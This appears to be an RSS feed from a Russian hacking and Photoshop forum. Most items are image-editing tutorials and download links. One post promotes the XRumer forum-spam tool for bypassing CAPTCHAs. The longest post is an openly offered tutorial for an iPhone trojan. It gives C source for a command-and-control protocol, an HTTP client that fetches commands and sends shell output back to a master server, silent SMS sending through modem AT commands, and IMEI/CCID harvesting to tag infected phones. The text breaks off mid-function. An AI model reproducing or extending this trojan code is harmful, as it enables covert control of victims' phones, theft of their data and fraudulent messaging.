<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>SoCKeT</title>
		<link>http://socket.ucoz.com/</link>
		<description>Форум</description>
		<lastBuildDate>Wed, 26 Jun 2013 11:04:51 GMT</lastBuildDate>
		<generator>uCoz Web-Service</generator>
		<atom:link href="https://socket.ucoz.com/forum/rss" rel="self" type="application/rss+xml" />
		
		<item>
			<title>Где я могу скачать XRumer  7.7.47 Elite?</title>
			<link>https://socket.ucoz.com/forum/25-63-1</link>
			<pubDate>Wed, 26 Jun 2013 11:04:51 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/25&quot;&gt;Photoshop&lt;/a&gt;&lt;br /&gt;Автор темы: UkkasukkaLam&lt;br /&gt;Автор последнего сообщения: UkkasukkaLam&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>Кто-нибудь знает, где я могу скачать XRumer 7.7.47 Elite?? &lt;br /&gt; Только эта версия , или выше! &lt;br /&gt; &lt;br /&gt; P.S. Это лучшая программа для массового размещения рекламы на форумах &lt;img src=&quot;http://s20.ucoz.net/sm/24/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt; &lt;br /&gt; Эта программа может обойти более 300 типов антибот изображений ( включены ReCaptcha ) , это нереально ! &lt;br /&gt; &lt;br /&gt;</content:encoded>
			<category>Photoshop</category>
			<dc:creator>UkkasukkaLam</dc:creator>
			<guid>https://socket.ucoz.com/forum/25-63-1</guid>
		</item>
		<item>
			<title>Баннеры и ваш сайт</title>
			<link>https://socket.ucoz.com/forum/28-40-1</link>
			<pubDate>Sat, 11 Dec 2010 17:15:02 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/28&quot;&gt;Интернет&lt;/a&gt;&lt;br /&gt;Автор темы: Klothko&lt;br /&gt;Автор последнего сообщения: Klothko&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>Здравствуйте, меня зовут Алексей, хочу посоветовать и порекомендовать всем отличную компанию по работе с баннерами. Это не реклама, а совет, я сам являюсь владельцем 2 сайтов, потративши огромное количество времени для поиска подходящей компании, остановился именно на banage.ru, я некого не заставляю пользоваться услугами и подобное, просто хочу посоветовать, ознакомьтесь и решите сами, стоит ли вам обращаться за услугами.</content:encoded>
			<category>Интернет</category>
			<dc:creator>Klothko</dc:creator>
			<guid>https://socket.ucoz.com/forum/28-40-1</guid>
		</item>
		<item>
			<title>Скачать Adobe photoshop</title>
			<link>https://socket.ucoz.com/forum/25-39-1</link>
			<pubDate>Sun, 02 Aug 2009 12:23:27 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/25&quot;&gt;Photoshop&lt;/a&gt;&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>&lt;a class=&quot;link&quot; href=&quot;http://download.adobe.com/pub/adobe/magic/photoshop/win/8.x/AdobePhotoshopCS.zip&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Скачать Photoshop 8.0&lt;/a&gt; &lt;br /&gt; &lt;a class=&quot;link&quot; href=&quot;http://ftp.adobe.com/pub/adobe/photoshop/win/cs2/Photoshop_CS2_tryout.zip&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Скачать Photoshop CS 2&lt;/a&gt; &lt;br /&gt; &lt;a class=&quot;link&quot; href=&quot;https://www.adobe.com/cfusion/tdrc/index.cfm?promoid=BONRY&amp;product=photoshop&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Скачать Photoshop CS 3&lt;/a&gt; &lt;br /&gt; &lt;a class=&quot;link&quot; href=&quot;http://freetoolz.biz/?go=post&amp;id=4#top&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Скачать Photoshop CS 4&lt;/a&gt; &lt;br /&gt; По этим ссылкам можно скачать Adobe Photosop разных версии.</content:encoded>
			<category>Photoshop</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/25-39-1</guid>
		</item>
		<item>
			<title>Уроки - Меняем цвет глаз и губ</title>
			<link>https://socket.ucoz.com/forum/25-38-1</link>
			<pubDate>Sun, 02 Aug 2009 12:19:44 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/25&quot;&gt;Photoshop&lt;/a&gt;&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>После того, как мы открыли изображение, нажимаем клавиши Shift + Ctrl + N и в появившемся окне меняем параметр Mode (который по умолчанию выставлен как Normal) на Color, также меняем название, назовем его &quot;Глаза&quot;, после чего нажимаем кнопку OK. Таким образом мы создадим новый слой, рисуя на котором мы будем менять лишь цвет основного изображения. &lt;br /&gt; &lt;img src=&quot;http://goldenone.ru/content/images2/2009_03_31_02.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; На созданном слое твердой кистью (кистью с резкими краями) аккуратно зарисовываем радужную оболочку глаза вокруг зрачка выбранным цветом. В этом примере я взяла цвет 0000ff. &lt;br /&gt; &lt;img src=&quot;http://goldenone.ru/content/images2/2009_03_31_03.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Вышло слишком ярко, не правда ли ? Это легко исправить, изменив параметр Opacity на нашем слое так, как изображено ниже. &lt;br /&gt; &lt;img src=&quot;http://goldenone.ru/content/images2/2009_03_31_04.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Так уже намного лучше. Вы можете регулировать прозрачность (Opacity) слоя в зависимости от желаемого результата. После того, как глаза изменены, и мы довольны результатом, перейдем к губам. Создадим новый слой с такими же параметрами, как и прошлый раз, и назовем его &quot;Губы&quot;. Затем выберем цвет (в нашем примере использован цвет ff0033) и так же аккуратно зарисуем губы твердой кистью. Особенно будьте осторожны, закрашивая уголки губ, чтобы случайно не испортить их форму. После того, как губы полностью закрашены, изменяем параметр Opacity, я поставила 35%. &lt;br /&gt; &lt;img src=&quot;http://goldenone.ru/content/images2/2009_03_31_05.jpg&quot; border=&quot;0&quot;&gt;</content:encoded>
			<category>Photoshop</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/25-38-1</guid>
		</item>
		<item>
			<title>Уроки - Мозаика из фотографий</title>
			<link>https://socket.ucoz.com/forum/25-37-1</link>
			<pubDate>Sun, 02 Aug 2009 12:09:39 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/25&quot;&gt;Photoshop&lt;/a&gt;&lt;br /&gt;Описание темы: Учиться, учиться,и ещё раз учиться ))&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>Здравствуйте! В этом уроке фотошопа мы будем делать фотомозаику с интересным эффектом в стиле фэнтези. Итак, выберем изображение. У меня оно будет таким. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_01.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Создадим новый слой (Shift + Ctrl + N – OK) и нарисуем на нем рамку, такую, какую обычно делают на фотографиях при распечатывании. Рисовать будем инструментом Pencil, его можно выбрать на панели инструментов или клавишей B. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_02.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Сделаем пять копий слоя с рамкой (Ctrl + J) и пока что переместим их в левый верхний угол. Перемещать содержимое слоев можно инструментом Move, который выбирается на панели инструментов или клавишей V. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_03.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Перейдем к самому первому слою с рамкой (у меня он называется просто &quot;Рамка&quot;). Нажмем Ctrl + T или Edit-&gt;Free Transform, немного повернем рамку за правый нижний угол влево и переместим ее так, чтобы лицо девушки находилось примерно в центре. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_04.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Теперь возьмем копию рамки (слой &quot;Рамка Copy&quot;) и инструментом Move переместим ее на область правого плеча и руку девушки. Повернем рамку (Ctrl + T или Edit-&gt;Free Transform ) за левый нижний угол так, чтобы она прикрывала уголок первой рамки и немного выходила за пределы всего изображения. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_05.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Затем перейдем к слою &quot;Рамка Copy 2&quot; и переместим рамку на правый локоть девушки. Повернем ее примерно так, как показано ниже. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_06.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Тем же способом разместим оставшиеся рамки с левой стороны. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_07.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Чтобы был эффект наложения фотографий друг на друга, выборочно сотрем те уголки, которые накладываются на соседние рамки. Это можно сделать инструментом Eraser, выбрав его на панели инструментов или клавишей E. После чего можно объединить слои с рамками.&lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_08.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Создадим новый слой. Я назову его &quot;Фон&quot;. Он должен находиться перед слоем с рамками и над слоем с основным изображением. Нажмем Shift + F5 или Edit-&gt;Fill и зальем слой &quot;Фон&quot; черным цветом. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_09.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Объединим слои &quot;Фон&quot; и &quot;Слой с рамками&quot;. У нас должно остаться два слоя: первый - с основным изображением, и второй - с рамками и черным фоном. Находясь на слое с рамками и черным фоном, возьмем инструмент выделения Magic Wand, который можно выбрать клавишей W или на панели инструментов. Зажав клавишу Shift, поочередно выделим область внутри рамок, кликая курсором внутри каждой рамки. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_10.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; После того, как вся область выделена, нажимаем клавишу Delete. Должно получиться следующее. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_11.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Изменим параметр Opacity слоя (на панели слоев) до 70%. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_12.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Чтобы придать изображению интересный эффект в стиле фэнтези, выберем инструмент Eraser и аккуратно уберем рамки и фон на той руке девушки, в которой она держит яблоко. Должно получиться так, как будто эта рука продета из фотографии в фотографию. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_13.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Также уберем рамку и участок фона, который попадает на корзинку с фруктами. После чего возвращаем слою Opacity 100%. Там, где рамки сливаются между собой, проведем разделяющие полосы цветом 959595. Делать это будем инструментом Brush, диаметром в 1 пиксель. Вот что вышло в результате. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_05_30_14.jpg&quot; border=&quot;0&quot;&gt;</content:encoded>
			<category>Photoshop</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/25-37-1</guid>
		</item>
		<item>
			<title>Уроки - Меняем отражение в очках</title>
			<link>https://socket.ucoz.com/forum/25-36-1</link>
			<pubDate>Sun, 02 Aug 2009 11:59:53 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/25&quot;&gt;Photoshop&lt;/a&gt;&lt;br /&gt;Описание темы: Учимся&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>В этом уроке мы научимся менять отражение в очках. Все очень просто: вы берете ваше фото, ищете то, на что вы хотите заменить отражение в ваших очках, открываете фотошоп и... А дальше начинается самое интересное =) &lt;br /&gt; Итак, у нас есть исходное фото, в котором мы хотели бы поменять отражение в очках. &lt;p&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_23.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Как вы видите, отражение так себе. Предлагаю поменять его на вот это симпатичное фото: &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_07.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Для этого мы воспользуемся инструментом Pen Tool (P), вот как у вас должна выглядеть панель инструментов: &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_01.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Теперь грубо выделите часть очков с правой линзой, например. Что имеется в виду под словом &quot;грубо&quot;? Точки ставьте на значительном расстоянии, как показано на рисунке ниже, но так, чтобы они точно приходились на конец стекла и на начало оправы: &lt;p&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_02.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Не забывайте, что последняя точка должна совпасть с первой, чтобы кривая с выделением замкнулась. Эту же операцию повторите с левой линзой очков, предварительно создав новый слой (Ctrl+Alt+Shift+N): &lt;p&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_03.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Теперь, используя инструмент Direct Selection Tool, нам необходимо аккуратно обрисовать линзы. Для этого правой кнопкой мыши клацаем по ломаной линии и выбираем из контекстного меню пункт &quot;Add Anchor Point&quot; (что в вольном переводе означает &quot;Добавить узловую точку&quot;). &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_04.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Далее редактируем кривую так, чтобы точно обрисовать наши линзы &lt;br /&gt; Во что у вас должно получиться в конечном итоге: &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_06.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Кстати, вы всегда сможете подредактировать ваше выделение. Теперь выбираем наше отражение. &lt;br /&gt; Вставьте еще два слоя скрепляем так, как показано на рисунке ниже: &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_08.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Теперь самое интересное: нам нужно сделать маску для отражения. Для этого, удерживая клавишу Alt, поставьте курсор мыши между слоями с пляжем и обрисованной так, как показано на рисунке (не забудьте сделать клик): &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_09.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Вот какой результат вас ждет, если вы проделали эту операцию с двумя слоями с пляжем (кстати, теперь слои с пляжем можно двигать):&lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_10.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Мы не будем останавливаться на достигнутом и слегка поменяем яркость отражения. Для этого сделайте активным слой с пляжем и нажмите Ctrl+M (Curves) и спустите ползунок, как на рисунке: &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_11.jpg&quot; border=&quot;0&quot;&gt; &lt;br /&gt; Вот, так гораздо лучше, вам не кажется? &lt;p&gt; Теперь можно исказить отражение любым известным вам способом, например: Shift+Ctrl+X (фильтр Liquify), Filter-&gt;Distort-&gt;Shear, Edit-&gt;Transform-&gt;Warp. Выбирайте любой, по вкусу. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_13.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Настало время сделать блик. Для этого в новом слое нарисуем белый круг и слегка его размоем: &lt;p&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_14.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Поместите его в угол линзы и тоже поместите под маску, как мы делали выше: &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_15.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Теперь сдублируйте один из слоев с пляжем (Ctrl+J) и затемните его &lt;br /&gt; (Ctrl+M или редактирование Curves): &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_16.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_17.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Далее выберите инструмент Polygonal Lasso Tool и параметр Feather равный 10. Галка на Anti-alias должна стоять. Выделите вот такую область на этом слое и нажмите Del. &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_18.jpg&quot; border=&quot;0&quot;&gt; &lt;p&gt; Таким образом линза у нас получилась по краям темнее, а внутри светлее. &lt;p&gt; А вот, собственно, и конечный результат: &lt;br /&gt; &lt;img src=&quot;http://www.goldenone.ru/content/images2/2009_06_15_20.jpg&quot; border=&quot;0&quot;&gt;</content:encoded>
			<category>Photoshop</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/25-36-1</guid>
		</item>
		<item>
			<title>Пишем троян для iphone</title>
			<link>https://socket.ucoz.com/forum/24-35-1</link>
			<pubDate>Sun, 02 Aug 2009 09:52:30 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/24&quot;&gt;Hack - Is style of our life&lt;/a&gt;&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>Как всегда я не ручаюсь за последствия)) &lt;br /&gt; Формат управляющей команды &lt;p&gt; Первое, с чего надо начать написание трояна – разработка формата команды, которую сервер будет передавать клиентам (зараженным телефонам). Я предлагаю вот такой вид: &lt;p&gt; 1. Команда состоит из шести частей, разделенных символом &quot;%&quot; &lt;p&gt; 2. Первая часть: &lt;p&gt; - at% AT-команда для модема &lt;br /&gt; - sm% команда отправки СМС &lt;br /&gt; - sh% команда шелла (например, ls, whoami, ping www.ru) &lt;br /&gt; - tg% команда настройки работы самого трояна &lt;p&gt; 3. Третьи и вторая части - аргументы команды из первой части. Например: &lt;p&gt; - sm%79101010101%TEST is OK%&lt;хвост команды&gt; &lt;p&gt; 4. Четвертая часть - тип отправки результата команды, может принимать значения: &lt;p&gt; - %ws% отправка http-запросом параметра GET &lt;br /&gt; - %sm% отправка &quot;внутри&quot; SMS-сообщения &lt;p&gt; 5. Пятая и шестая части - аргументы для отправки команды, например: &lt;p&gt; - %79102020202% номер телефона в международном формате &lt;br /&gt; - %192.168.1.100%/master-server/res.php?res=% &lt;p&gt; Примеры команд: &lt;p&gt; - sm%79101010101%test is OK%0%0%0% – отправить СМС с текстом: &quot;test is OK&quot; на номер +79101010101 &lt;br /&gt; - sh%ping –c10 www.ru%0%ws%192.168.1.100%/master-server/res.php?res=% – выполнить команду шелла &quot;ping www.ru&quot; и выслать результат выполнения на 192.168.1.100 &lt;br /&gt; - tg%3600%0%0%0%0% – установить интервал получения команды с сервера равным 3600 секунд &lt;p&gt; Пару слов о разделителе: я максимально хотел использовать команды шелла, поэтому оставил все спецсимволы на использование в скриптах (чтобы можно было выполнять разные там cat /dev/random &gt; /tmp/fuck-memory-economy или ls / | grep txt и пр.). Таким образом, разделителем стал процент – %. Что касается общей концепции команды, то здесь все тоже очевидно. Первые три параметра – управляющая часть, инструкция типа &quot;что сделать&quot;. Вторые три параметра – ответная часть, инструкция типа &quot;куда скинуть результат выполнения&quot;. Если с этим все понятно, то нечего тянуть резину, переходим к кодингу. &lt;br /&gt; Архитектура программы &lt;p&gt; Все функции я разнес по отдельным файлам в зависимости от смысловой нагрузки. Основной файл trojan.c максимально облегчен от ненужного кода. Вот список файлов и их назначений: &lt;p&gt; trojan.c Основной файл с main() функцией программы &lt;br /&gt; Makefile Инструкции утилите make для сборки трояна &lt;p&gt; ./cmd: Разбор строки с командой и заполнение структуры &lt;br /&gt; total 8 &lt;br /&gt; -rw-r--r-- 1 root wheel 2117 May 14 10:05 cmd-parser.c &lt;br /&gt; -rw-r--r-- 1 root wheel 61 May 14 09:51 cmd-parser.h &lt;p&gt; ./http: HTTP клиент. Отправка запросов, возвращение результата &lt;br /&gt; total 8 &lt;br /&gt; -rw-r--r-- 1 root wheel 1453 May 14 10:03 http-client.c &lt;br /&gt; -rw-r--r-- 1 root wheel 46 May 11 15:18 http-client.h &lt;p&gt; ./sms: Работа с AT-командами. Отправка СМС, получение IMEI и CCID &lt;br /&gt; total 12 &lt;br /&gt; -rw-r--r-- 1 root wheel 4273 May 14 10:46 sms-funcs.c &lt;br /&gt; -rw-r--r-- 1 root wheel 124 May 8 17:23 sms-funcs.h &lt;p&gt; ./structs: Описание структуры команды COMMAND &lt;br /&gt; total 8 &lt;br /&gt; -rw-r--r-- 1 root wheel 265 May 13 00:57 command.c &lt;p&gt; ./utils: Утилиты. Concat для корректного слияния двух строк в одну &lt;br /&gt; total 8 &lt;br /&gt; -rw-r--r-- 1 root wheel 372 May 12 08:27 utils-concat.c &lt;br /&gt; -rw-r--r-- 1 root wheel 49 May 11 15:18 utils-concat.h &lt;br /&gt; Пишем простенький HTTP Client &lt;p&gt; Забирать команды с сервера наш троян будет по HTTP. Поэтому надо написать простенький клиент на сокетах. Готовые вещи в нашем случае бестолковы, а формат http-запроса, думаю, ты помнишь наизусть. Если не помнишь – ничего страшного, напомню. Использовать мы будем только стандартные библиотеки: netdb.h, sys/types.h, netinet/in.h, sys/socket.h. В общем, получится примерно так: &lt;p&gt; char* sendHttpRequest(char *host, char *url) { &lt;p&gt; int sockfd, numbytes; &lt;p&gt; char buf[MAXDATASIZE]; &lt;p&gt; struct hostent *he; &lt;p&gt; struct sockaddr_in their_addr; &lt;p&gt; char* msg[2048]; &lt;p&gt; sprintf(msg,&quot;GET %s HTTP/1.1&amp;#92;r&amp;#92;n&quot;,url); &lt;p&gt; if (strlen(host)!=0){ &lt;p&gt; sprintf(msg,&quot;%sHost: %s&amp;#92;r&amp;#92;n&quot;,msg,host); &lt;p&gt; } &lt;p&gt; sprintf(msg, &quot;%s Cache-Control: no-cache&amp;#92;r&amp;#92;nUser-Agent: bad-trojan&amp;#92;r&amp;#92;n&amp;#92;r&amp;#92;n&quot;, &lt;br /&gt; msg); &lt;p&gt; int received=0; &lt;p&gt; if((he=gethostbyname(host)) == NULL) &lt;p&gt; exit(1); &lt;p&gt; else &lt;p&gt; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) &lt;p&gt; exit(1); &lt;p&gt; else &lt;p&gt; their_addr.sin_family = AF_INET; &lt;p&gt; their_addr.sin_port = htons(PORT); &lt;p&gt; their_addr.sin_addr = *((struct in_addr *)he-&gt;h_addr); &lt;p&gt; memset(&amp;(their_addr.sin_zero), &apos;&amp;#92;0&apos;, 8); &lt;p&gt; if(connect(sockfd, (struct sockaddr *)&amp;their_addr, sizeof(struct sockaddr)) == &lt;br /&gt; -1) &lt;p&gt; exit(1); &lt;p&gt; else &lt;p&gt; if((numbytes = send(sockfd, msg, strlen(msg), 0)) == -1) { &lt;p&gt; exit(1); &lt;p&gt; } &lt;p&gt; int bytes = 0; &lt;p&gt; bytes = (recv(sockfd, buf, MAXDATASIZE-1, 0)); &lt;p&gt; if (bytes &lt; 1) { &lt;p&gt; exit(1); &lt;p&gt; } &lt;p&gt; else if(bytes&lt;MAXDATASIZE) { &lt;p&gt; } &lt;p&gt; else exit(1); &lt;p&gt; close(sockfd); &lt;p&gt; return buf; &lt;p&gt; } &lt;p&gt; Тут накладываются ограничения в 2 Кб на строку URL и ответ сервера. Если их будет мало для твоих целей – увеличишь без проблем. Только не забудь очищать переменные, все-таки чистый С, никаких тебе сборщиков мусора :). &lt;br /&gt; Парсим команду сервера &lt;p&gt; После того, как мы получили строку с командой, ее надо разобрать и заполнить соответствующую структуру. Сама структура выглядит так: &lt;p&gt; struct COMMAND{ &lt;p&gt; char ct[3]; &lt;p&gt; char p1[257]; &lt;p&gt; char p2[257]; &lt;p&gt; char rt[3]; &lt;p&gt; char r1[257]; &lt;p&gt; char r2[257]; &lt;p&gt; }; &lt;p&gt; По-хорошему, тип команды и тип ответа надо было выставить в int, но до этого руки у меня не дошли. Как говорится, сначала напиши, потом оптимизируй. Так что, это оставим на домашнее задание. Теперь сам парсинг. Он основывается на базовой функции strtok, которая выполняет за нас разбиение строки на токены по спецсимволу %. Вот исходник: &lt;p&gt; struct COMMAND parseCmd(char *resp){ &lt;p&gt; char **parsed = (char *)malloc(SIZE); &lt;p&gt; int i=0; &lt;p&gt; for(i=0; i&lt;SIZE; i++) { &lt;p&gt; parsed[i] = (char)malloc(MAX_SIZE); &lt;p&gt; } &lt;p&gt; if (strstr(resp, &quot;cmd: &quot;)!=NULL) { &lt;p&gt; UCHAR cmd[1024]; &lt;p&gt; strncpy(cmd,&amp;resp[172], (strlen(resp)-170) ); &lt;p&gt; char * pch; &lt;p&gt; pch = strtok(cmd, &quot;%&quot;); &lt;p&gt; i = 0; &lt;p&gt; while (pch!=NULL){ &lt;p&gt; parsed[i]=pch; &lt;p&gt; pch = strtok (NULL, &quot;%&quot;); &lt;p&gt; i++; &lt;p&gt; } &lt;p&gt; strncpy(COMMAND.ct,parsed[0],sizeof(COMMAND.ct)); &lt;p&gt; strncpy(COMMAND.p1,parsed[1],sizeof(COMMAND.p1)); &lt;p&gt; strncpy(COMMAND.p2,parsed[2],sizeof(COMMAND.p2)); &lt;p&gt; strncpy(COMMAND.rt,parsed[3],sizeof(COMMAND.rt)); &lt;p&gt; strncpy(COMMAND.r1,parsed[4],sizeof(COMMAND.r1)); &lt;p&gt; strncpy(COMMAND.r2,parsed[5],sizeof(COMMAND.r2)); &lt;p&gt; for (i=0; i&lt;SIZE; i++) { &lt;p&gt; parsed[i]=NULL; &lt;p&gt; } &lt;p&gt; return COMMAND; &lt;p&gt; } &lt;p&gt; return COMMAND; &lt;p&gt; } &lt;p&gt; Вроде все понятно? Никаких особых приемов здесь не использовано. Только прошу быть аккуратнее с переполнениями буфера. Код трояна по этой части еще придется хорошенько допилить… &lt;br /&gt; Посылаем АТ-команды модему телефона &lt;p&gt; В мартовском номере я уже приводил исходник программы для отправки СМС. На всякий случай, повторю основные моменты. Мы используем резервное системное устройство /dev/tty.debug, через которое посылаются АТ-команды. Основное устройство /dev/tty заблокировано родными демонами телефона и использовать его не получится. Мы инициализируем соединение на скорости 115200 бод вот так: &lt;p&gt; int InitConn(int speed) &lt;p&gt; { &lt;p&gt; int fd = open(&quot;/dev/tty.debug&quot;, O_RDWR | O_NOCTTY); &lt;p&gt; if(fd == -1) { &lt;p&gt; fprintf(stderr, &quot;%i(%s)&amp;#92;n&quot;, errno, strerror(errno)); &lt;p&gt; exit(1); &lt;p&gt; } &lt;p&gt; ioctl(fd, TIOCEXCL); &lt;p&gt; fcntl(fd, F_SETFL, 0); &lt;p&gt; tcgetattr(fd, &amp;term); &lt;p&gt; gOriginalTTYAttrs = term; &lt;p&gt; cfmakeraw(&amp;term); &lt;p&gt; cfsetspeed(&amp;term, speed); &lt;p&gt; term.c_cflag = CS8 | CLOCAL | CREAD; &lt;p&gt; term.c_iflag = 0; &lt;p&gt; term.c_oflag = 0; &lt;p&gt; term.c_lflag = 0; &lt;p&gt; term.c_cc[VMIN] = 0; &lt;p&gt; term.c_cc[VTIME] = 0; &lt;p&gt; tcsetattr(fd, TCSANOW, &amp;term); &lt;p&gt; return fd; &lt;p&gt; } &lt;p&gt; После этого можно писать в устройство: &lt;p&gt; void SendCmd(int fd, void *buf, size_t size) &lt;p&gt; { &lt;p&gt; if(write(fd, buf, size) == -1) { &lt;p&gt; fprintf(stderr, &quot;SendCmd error. %s&amp;#92;n&quot;, strerror(errno)); &lt;p&gt; exit(1); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; Для отправки СМС используется такая последовательность команд: &lt;p&gt; AT+CMGD=1 //удаляем все СМС из очереди, чтобы наше сообщение стало &lt;br /&gt; первым &lt;p&gt; AT+CMGF=1 //переводим модем в текстовый режим &lt;p&gt; AT+CMGW=79000000000 //номер получателя &lt;p&gt; Набираем само сообщение &lt;p&gt; AT+CMSS=1 //отправляем наше сообщение &lt;p&gt; Я очищаю очередь сообщений, чтобы не заморачиваться и не разбирать строку ответа модема на команду AT+CMGW. По правильному, она возвращает номер твоего набранного СМС, далее его и надо использовать для аргумента AT+CMSS. У такого подхода есть небольшой нюанс – троян прекрасно работает, но сам телефон СМС отправить после такого уже не может. Приходиться перезагружаться. В общем, этот баг я оставил специально, чтобы тебе тоже было чем заняться :). &lt;p&gt; Помимо отправки СМС, допишем еще две функции, чтобы получать IMEI телефона и CCID. Это уникальные номера, их можно использовать для идентификации каждого зараженного образца. &lt;p&gt; char* getCCID(){ &lt;p&gt; int fd; &lt;p&gt; fd = InitConn(115200); &lt;p&gt; AT(fd); &lt;p&gt; SendCmd(fd, &quot;AT+CCID&amp;#92;r&quot;,9); &lt;p&gt; char* res = ReadResp(fd) ; &lt;p&gt; CloseConn(fd); &lt;p&gt; return res; &lt;p&gt; } &lt;p&gt; char* getIMEI(){ 